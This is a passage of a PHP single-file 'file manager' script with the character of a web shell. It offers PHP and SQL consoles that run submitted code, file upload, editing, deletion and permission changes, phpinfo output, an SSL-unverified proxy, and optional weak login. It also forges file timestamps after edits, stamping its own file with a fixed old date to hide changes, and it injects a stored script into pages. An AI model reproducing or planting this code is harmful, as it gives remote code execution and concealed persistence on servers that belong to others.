8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMB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fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");

}


.file {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIE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F/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

